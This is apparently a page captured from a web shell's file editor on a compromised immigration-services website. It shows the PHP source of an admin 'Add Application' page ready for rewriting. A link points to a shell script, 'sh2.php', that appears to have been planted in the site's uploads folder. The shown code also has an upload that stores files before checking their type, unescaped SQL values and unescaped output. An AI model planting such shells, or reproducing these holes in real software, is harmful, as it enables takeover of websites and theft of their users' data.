<h2>Edit File - add_application - Copy.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u337112447/domains/foreignimmigrations.com/public_html/Admin/add_application - Copy.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
include 'header_top.php';
?&gt;
&lt;div class=&quot;content&quot;&gt;
    &lt;div class=&quot;page-header&quot;&gt;
        &lt;ol class=&quot;breadcrumb&quot;&gt;
            &lt;li&gt;&lt;a href=&quot;index.php&quot;&gt;Dashboard&lt;/a&gt;&lt;/li&gt;
            &lt;li class=&quot;active&quot;&gt;Applications&lt;/li&gt;
        &lt;/ol&gt;
    &lt;/div&gt;
    &lt;div class=&quot;container-padding container-widget&quot;&gt;
        &lt;div class=&quot;row&quot;&gt;
            &lt;!-- Start Panel --&gt;
            &lt;div class=&quot;col-md-12&quot;&gt;
                &lt;div class=&quot;row&quot;&gt;
                    &lt;div class=&quot;col-md-12&quot;&gt;
                        &lt;div class=&quot;panel panel-default&quot;&gt;
                            &lt;div class=&quot;panel-title&quot;&gt;
                                Add Application
                            &lt;/div&gt;
                            &lt;div class=&quot;panel-body&quot;&gt;
                                &lt;?php
                                if (isset($_POST[&quot;btnsave&quot;])) {

                                    $application = mysqli_real_escape_string($link, $_REQUEST['application']);
                                    $short_about = mysqli_real_escape_string($link, $_REQUEST['short_about']);
                                    $titleee = $_POST['long_about1'];
                                    $long_about1 = base64_encode($titleee);

                                    if (empty($_FILES['service_file1']['tmp_name']) || !is_uploaded_file($_FILES['service_file1']['tmp_name'])) {
                                        $service_file1 = null;
                                    } else {
                                        $imagno = $_FILES['service_file1']['name'];
                                        $ran = rand(9999999, 99999999999);
                                        $imagename = $ran . $imagno;
                                        $source = $_FILES['service_file1']['tmp_name'];
                                        $target = &quot;uploads/&quot; . $imagename;
                                        move_uploaded_file($source, $target);

                                        $service_file1 = $imagename;
                                        $save = &quot;uploads/&quot; . $service_file1; //This is the new file you saving
                                        $file = &quot;uploads/&quot; . $service_file1; //This is the original file
                                        $service_file1 = &quot;uploads/&quot; . $service_file1;
                                        list($width, $height) = getimagesize($file);

                                        $tn = imagecreatetruecolor($width, $height);

                                        //$image = imagecreatefromjpeg($file);
                                        $info = getimagesize($target);
                                        if ($info['mime'] == 'image/jpeg') {
                                            $image = imagecreatefromjpeg($file);
                                        } elseif ($info['mime'] == 'image/gif') {
                                            $image = imagecreatefromgif($file);
                                        } elseif ($info['mime'] == 'image/png') {
                                            $image = imagecreatefrompng($file);
                                        }

                                        imagecopyresampled($tn, $image, 0, 0, 0, 0, $width, $height, $width, $height);
                                        imagejpeg($tn, $save, 40);
                                    }


                                    $section_category_one_heading = mysqli_real_escape_string($link, $_REQUEST['section_category_one_heading']);
                                    $section_category_one_about = mysqli_real_escape_string($link, $_REQUEST['section_category_one_about']);

                                    $section_category_two_heading = mysqli_real_escape_string($link, $_REQUEST['section_category_two_heading']);
                                    $section_category_two_about = mysqli_real_escape_string($link, $_REQUEST['section_category_two_about']);

                                    $section_category_three_heading = mysqli_real_escape_string($link, $_REQUEST['section_category_three_heading']);
                                    $section_category_three_about = mysqli_real_escape_string($link, $_REQUEST['section_category_three_about']);

                                    $section_category_four_heading = mysqli_real_escape_string($link, $_REQUEST['section_category_four_heading']);
                                    $section_category_four_about = mysqli_real_escape_string($link, $_REQUEST['section_category_four_about']);

                                    $allproductsone = array();
                                    if (!empty($_POST['section_category_one_products'])) {
                                        foreach ($_POST['section_category_one_products'] as $valueone) {
                                            $valueone . ',';
                                            array_push($allproductsone, $valueone);
                                        }
                                    }
                                    $alpone = &quot;&quot;;
                                    for ($pone = 0; $pone &lt; count($allproductsone); $pone++) {
                                        $alpone .= $allproductsone[$pone];
                                        if ($pone == count($allproductsone)) {
                                        } else {
                                            $alpone .= &quot;,&quot;;
                                        }
                                    }

                                    $allproductstwo = array();
                                    if (!empty($_POST['section_category_two_products'])) {
                                        foreach ($_POST['section_category_two_products'] as $valuetwo) {
                                            $valuetwo . ',';
                                            array_push($allproductstwo, $valuetwo);
                                        }
                                    }
                                    $alptwo = &quot;&quot;;
                                    for ($ptwo = 0; $ptwo &lt; count($allproductstwo); $ptwo++) {
                                        $alptwo .= $allproductstwo[$ptwo];
                                        if ($ptwo == count($allproductstwo)) {
                                        } else {
                                            $alptwo .= &quot;,&quot;;
                                        }
                                    }


                                    $allproductsthree = array();
                                    if (!empty($_POST['section_category_three_products'])) {
                                        foreach ($_POST['section_category_three_products'] as $valuethree) {
                                            $valuethree . ',';
                                            array_push($allproductsthree, $valuethree);
                                        }
                                    }
                                    $alpthree = &quot;&quot;;
                                    for ($pthree = 0; $pthree &lt; count($allproductsthree); $pthree++) {
                                        $alpthree .= $allproductsthree[$pthree];
                                        if ($pthree == count($allproductsthree)) {
                                        } else {
                                            $alpthree .= &quot;,&quot;;
                                        }
                                    }

                                    $allproductsfour = array();
                                    if (!empty($_POST['section_category_four_products'])) {
                                        foreach ($_POST['section_category_four_products'] as $valuefour) {
                                            $valuefour . ',';
                                            array_push($allproductsfour, $valuefour);
                                        }
                                    }
                                    $alpfour = &quot;&quot;;
                                    for ($pfour = 0; $pfour &lt; count($allproductsfour); $pfour++) {
                                        $alpfour .= $allproductsfour[$pfour];
                                        if ($pfour == count($allproductsfour)) {
                                        } else {
                                            $alpfour .= &quot;,&quot;;
                                        }
                                    }


                                    $queryy = &quot;insert into eltra_application (application,short_about,long_about1,file,section_category_one_heading,
                                    section_category_one_about, section_category_one_products, section_category_two_heading, section_category_two_about,
                                    section_category_two_products, section_category_three_heading, section_category_three_about, 
                                    section_category_three_products, section_category_four_heading, section_category_four_about, 
                                    section_category_four_products) 
                                    values('$application','$short_about','$long_about1','$service_file1', '$section_category_one_heading', '$section_category_one_about', 
                                    '$alpone', '$section_category_two_heading', '$section_category_two_about', '$alptwo', '$section_category_three_heading', 
                                    '$section_category_three_about', '$alpthree', '$section_category_four_heading', '$section_category_four_about', '$alpfour')&quot;;
                                    //echo $queryy;
                                    $result = mysqli_query($link, $queryy);
                                    if (mysqli_affected_rows($link)) {
                                ?&gt;
                                        &lt;div class=&quot;alert alert-success bg-success text-white&quot; role=&quot;alert&quot;&gt;Application added successfully.&lt;/div&gt;
                                    &lt;?php

                                    } else {
                                    ?&gt;
                                        &lt;div class=&quot;alert alert-danger bg-danger text-white mb-0&quot; role=&quot;alert&quot;&gt;Try again.&lt;/div&gt;
                                &lt;?php
                                    }
                                }
                                ?&gt;
                                &lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
                                    &lt;div class=&quot;col-md-8 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Application Name&lt;/label&gt;
                                            &lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;application&quot; required=&quot;&quot;&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-4 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Application Image&lt;/label&gt;
                                            &lt;input type=&quot;file&quot; class=&quot;form-control&quot; name=&quot;service_file1&quot; required=&quot;&quot;&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Short Description&lt;/label&gt;
                                            &lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;short_about&quot; required=&quot;&quot;&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Long Description&lt;/label&gt;
                                            &lt;textarea name=&quot;long_about1&quot; rows=&quot;5&quot; class=&quot;form-control&quot; required=&quot;&quot;&gt;&lt;/textarea&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;hr&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category One Heading&lt;/label&gt;
                                            &lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;section_category_one_heading&quot; required=&quot;&quot;&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category One About&lt;/label&gt;
                                            &lt;textarea name=&quot;section_category_one_about&quot; rows=&quot;3&quot; class=&quot;form-control&quot; required=&quot;&quot;&gt;&lt;/textarea&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category One Choose Products&lt;/label&gt;&lt;br&gt;
                                            &lt;div class=&quot;row&quot; style=&quot;height: 200px; overflow-y: auto;&quot;&gt;
                                                &lt;?php
                                                $resultdd = mysqli_query($link, &quot;select * from eltra_products&quot;);
                                                while ($rowd = mysqli_fetch_array($resultdd)) {
                                                ?&gt;
                                                    &lt;div class=&quot;col-md-4&quot;&gt;
                                                        &lt;input type=&quot;checkbox&quot; class=&quot;categories_input&quot; name=&quot;section_category_one_products[]&quot; id=&quot;name_&lt;?php echo $rowd['id']; ?&gt;&quot; value=&quot;&lt;?php echo $rowd['id']; ?&gt;&quot; style=&quot;height: auto;&quot;&gt;
                                                        &lt;label for=&quot;name_&lt;?php echo $rowd['id']; ?&gt;&quot;&gt; &lt;?php echo base64_decode($rowd['title']); ?&gt;&lt;/label&gt;
                                                    &lt;/div&gt;
                                                &lt;?php
                                                }
                                                ?&gt;
                                            &lt;/div&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;hr&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category Two Heading&lt;/label&gt;
                                            &lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;section_category_two_heading&quot; required=&quot;&quot;&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category Two About&lt;/label&gt;
                                            &lt;textarea name=&quot;section_category_two_about&quot; rows=&quot;3&quot; class=&quot;form-control&quot; required=&quot;&quot;&gt;&lt;/textarea&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category Two Choose Products&lt;/label&gt;&lt;br&gt;
                                            &lt;div class=&quot;row&quot; style=&quot;height: 200px; overflow-y: auto;&quot;&gt;
                                                &lt;?php
                                                $resultdd = mysqli_query($link, &quot;select * from eltra_products&quot;);
                                                while ($rowd = mysqli_fetch_array($resultdd)) {
                                                ?&gt;
                                                    &lt;div class=&quot;col-md-4&quot;&gt;
                                                        &lt;input type=&quot;checkbox&quot; class=&quot;categories_input&quot; name=&quot;section_category_two_products[]&quot; id=&quot;name_&lt;?php echo $rowd['id']; ?&gt;&quot; value=&quot;&lt;?php echo $rowd['id']; ?&gt;&quot; style=&quot;height: auto;&quot;&gt;
                                                        &lt;label for=&quot;name_&lt;?php echo $rowd['id']; ?&gt;&quot;&gt; &lt;?php echo base64_decode($rowd['title']); ?&gt;&lt;/label&gt;
                                                    &lt;/div&gt;
                                                &lt;?php
                                                }
                                                ?&gt;
                                            &lt;/div&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;hr&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category Three Heading&lt;/label&gt;
                                            &lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;section_category_three_heading&quot; required=&quot;&quot;&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category Three About&lt;/label&gt;
                                            &lt;textarea name=&quot;section_category_three_about&quot; rows=&quot;3&quot; class=&quot;form-control&quot; required=&quot;&quot;&gt;&lt;/textarea&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category One Choose Products&lt;/label&gt;&lt;br&gt;
                                            &lt;div class=&quot;row&quot; style=&quot;height: 200px; overflow-y: auto;&quot;&gt;
                                                &lt;?php
                                                $resultdd = mysqli_query($link, &quot;select * from eltra_products&quot;);
                                                while ($rowd = mysqli_fetch_array($resultdd)) {
                                                ?&gt;
                                                    &lt;div class=&quot;col-md-4&quot;&gt;
                                                        &lt;input type=&quot;checkbox&quot; class=&quot;categories_input&quot; name=&quot;section_category_three_products[]&quot; id=&quot;name_&lt;?php echo $rowd['id']; ?&gt;&quot; value=&quot;&lt;?php echo $rowd['id']; ?&gt;&quot; style=&quot;height: auto;&quot;&gt;
                                                        &lt;label for=&quot;name_&lt;?php echo $rowd['id']; ?&gt;&quot;&gt; &lt;?php echo base64_decode($rowd['title']); ?&gt;&lt;/label&gt;
                                                    &lt;/div&gt;
                                                &lt;?php
                                                }
                                                ?&gt;
                                            &lt;/div&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;hr&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category Four Heading&lt;/label&gt;
                                            &lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;section_category_four_heading&quot; required=&quot;&quot;&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category Four About&lt;/label&gt;
                                            &lt;textarea name=&quot;section_category_four_about&quot; rows=&quot;3&quot; class=&quot;form-control&quot; required=&quot;&quot;&gt;&lt;/textarea&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;div class=&quot;form-group&quot;&gt;
                                            &lt;label for=&quot;input1&quot; class=&quot;form-label&quot;&gt;Section Category Four Choose Products&lt;/label&gt;&lt;br&gt;
                                            &lt;div class=&quot;row&quot; style=&quot;height: 200px; overflow-y: auto;&quot;&gt;
                                                &lt;?php
                                                $resultdd = mysqli_query($link, &quot;select * from eltra_products&quot;);
                                                while ($rowd = mysqli_fetch_array($resultdd)) {
                                                ?&gt;
                                                    &lt;div class=&quot;col-md-4&quot;&gt;
                                                        &lt;input type=&quot;checkbox&quot; class=&quot;categories_input&quot; name=&quot;section_category_four_products[]&quot; id=&quot;name_&lt;?php echo $rowd['id']; ?&gt;&quot; value=&quot;&lt;?php echo $rowd['id']; ?&gt;&quot; style=&quot;height: auto;&quot;&gt;
                                                        &lt;label for=&quot;name_&lt;?php echo $rowd['id']; ?&gt;&quot;&gt; &lt;?php echo base64_decode($rowd['title']); ?&gt;&lt;/label&gt;
                                                    &lt;/div&gt;
                                                &lt;?php
                                                }
                                                ?&gt;
                                            &lt;/div&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
                                        &lt;input type=&quot;submit&quot; class=&quot;btn btn-default&quot; name=&quot;btnsave&quot; value=&quot;SAVE&quot;&gt;
                                    &lt;/div&gt;
                                &lt;/form&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-md-12&quot;&gt;
                        &lt;div class=&quot;panel panel-default&quot;&gt;
                            &lt;div class=&quot;panel-title&quot;&gt;
                                All Applications
                            &lt;/div&gt;
                            &lt;div class=&quot;panel-body table-responsive&quot;&gt;
                                &lt;table id=&quot;example0&quot; class=&quot;table display&quot;&gt;
                                    &lt;thead&gt;
                                        &lt;tr&gt;
                                            &lt;th&gt;Sr.&lt;/th&gt;
                                            &lt;th&gt;Application&lt;/th&gt;
                                            &lt;th&gt;Image&lt;/th&gt;
                                            &lt;th&gt;Action&lt;/th&gt;
                                        &lt;/tr&gt;
                                    &lt;/thead&gt;
                                    &lt;tbody&gt;
                                        &lt;?php
                                        $result = mysqli_query($link, &quot;select * from eltra_application order by id desc&quot;) or die(mysqli_error($link));
                                        if (mysqli_num_rows($result) &gt; 0) {
                                            $i = 0;
                                            while ($row = mysqli_fetch_array($result)) {
                                                $i++;
                                        ?&gt;
                                                &lt;tr&gt;
                                                    &lt;td&gt;&lt;?php echo $i; ?&gt;&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $row['application']; ?&gt;&lt;/td&gt;
                                                    &lt;td&gt;
                                                        &lt;?php
                                                        if ($row['file'] == &quot;&quot;) {
                                                        ?&gt;
                                                            &lt;img src=&quot;no_pic.jpg&quot; style=&quot;height: 30px; width: 30px;&quot;&gt;
                                                        &lt;?php
                                                        } else {
                                                        ?&gt;
                                                            &lt;img src=&quot;&lt;?php echo $row['file']; ?&gt;&quot; style=&quot;height: 30px; width: 30px;&quot;&gt;
                                                        &lt;?php
                                                        }
                                                        ?&gt;
                                                    &lt;/td&gt;
                                                    &lt;td&gt;
                                                        &lt;a href=&quot;edit_application.php?id=&lt;?= $row['id']; ?&gt;&quot; class=&quot;btn btn-icon btn-xs btn-success mr-1&quot;&gt;
                                                            Update
                                                        &lt;/a&gt;
                                                        &lt;a href=&quot;delete_app.php?id=&lt;?= $row['id']; ?&gt;&quot; class=&quot;btn btn-info btn-xs&quot;&gt;Delete&lt;/a&gt;
                                                    &lt;/td&gt;
                                                &lt;/tr&gt;
                                        &lt;?php
                                            }
                                        }
                                        ?&gt;
                                    &lt;/tbody&gt;
                                &lt;/table&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
&lt;?php
include 'footer.php';
?&gt;
&lt;script src=&quot;js/datatables/datatables.min.js&quot;&gt;&lt;/script&gt;
&lt;script&gt;
    $(document).ready(function() {
        $('#example0').DataTable();
    });
&lt;/script&gt;</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/Admin/uploads/72005193231754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>